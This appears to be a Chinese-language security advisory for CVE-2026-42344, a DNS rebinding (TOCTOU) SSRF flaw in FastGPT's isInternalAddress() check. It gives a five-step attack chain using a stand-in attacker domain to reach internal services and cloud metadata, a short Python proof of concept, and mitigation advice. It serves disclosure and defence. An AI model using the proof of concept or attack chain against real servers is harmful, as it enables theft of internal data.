IPBUF安全漏洞报告
English
CVE-2026-42344 CVSS 6.3 中危

CVE-2026-42344 FastGPT DNS重绑定漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42344
漏洞类型
DNS重绑定
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FastGPT

相关标签

DNS重绑定SSRFTOCTOUFastGPT信息泄露

漏洞概述

FastGPT是一个AI Agent构建平台,其在4.14.11及之前版本中存在严重的DNS重绑定漏洞。该漏洞源于`isInternalAddress()`函数在验证IP地址与发起HTTP请求之间存在时间差(TOCTOU)。攻击者可利用此漏洞,通过控制DNS解析过程,在验证通过后更改解析记录,从而绕过内网地址限制访问内部资源,导致高机密性风险。该漏洞允许攻击者读取内网敏感数据,且在发布时尚无公开补丁,风险较大。

技术细节

该漏洞属于典型的TOCTOU(Time-of-Check to Time-of-Use)竞态条件漏洞,具体表现为DNS重绑定攻击。在FastGPT的源码中,`packages/service/common/system/utils.ts`文件的`isInternalAddress()`函数负责验证目标主机是否为内网地址。函数首先通过DNS查询(`dns.resolve4`或`dns.resolve6`)获取主机名对应的IP地址,并将其与私有IP地址段进行比对。然而,在验证通过后,程序发起实际的HTTP请求时,会再次执行DNS解析。由于两次解析之间存在时间窗口,攻击者可以利用恶意DNS服务器,在第一次验证时返回公网IP(通过校验),而在第二次请求时返回内网IP(如127.0.0.1或192.168.x.x)。这种机制使得攻击者能够绕过SSRF防护,探测或访问FastGPT服务器所在内网的敏感服务和资源。

攻击链分析

STEP 1
侦察与准备
攻击者识别出目标使用的是存在漏洞的FastGPT版本,并注册一个恶意域名(如evil.com),将其指向攻击者控制的恶意DNS服务器。
STEP 2
发起请求
攻击者向FastGPT的接口发送请求,参数中包含恶意域名,诱导FastGPT服务器对该域名发起访问。
STEP 3
DNS解析绕过
FastGPT调用`isInternalAddress()`检查域名。此时恶意DNS服务器返回一个公网IP地址,检查通过。
STEP 4
DNS重绑定
FastGPT随后发起HTTP请求。由于TTL设置为0或很短,恶意DNS服务器在第二次解析时返回内网IP(如127.0.0.1或元数据服务IP)。
STEP 5
数据窃取
FastGPT将请求发送到内网IP,获取敏感信息(如本地服务、云元数据)并返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Vulnerable FastGPT instance) target_url = "http://vulnerable-fastgpt-instance/api/proxy" # Attacker controlled domain pointing to a malicious DNS server # The DNS server is configured to return a public IP (e.g. 1.1.1.1) first, # then a private IP (e.g. 127.0.0.1) on subsequent queries (TTL=0). attacker_domain = "attacker-controlled-domain.com" payload = { "url": f"http://{attacker_domain}/sensitive-path" } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.post(target_url, json=payload, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")

影响范围

FastGPT <= 4.14.11

防御指南

临时缓解措施
由于目前暂无官方补丁,建议通过防火墙或网络安全组严格限制FastGPT服务器的出站访问权限,阻断其对非必要内网及公网的连接。同时,可考虑在操作系统层面配置DNS缓存以减少重绑定风险,或暂时禁用受影响版本的对外请求功能,直至安全更新可用。

参考链接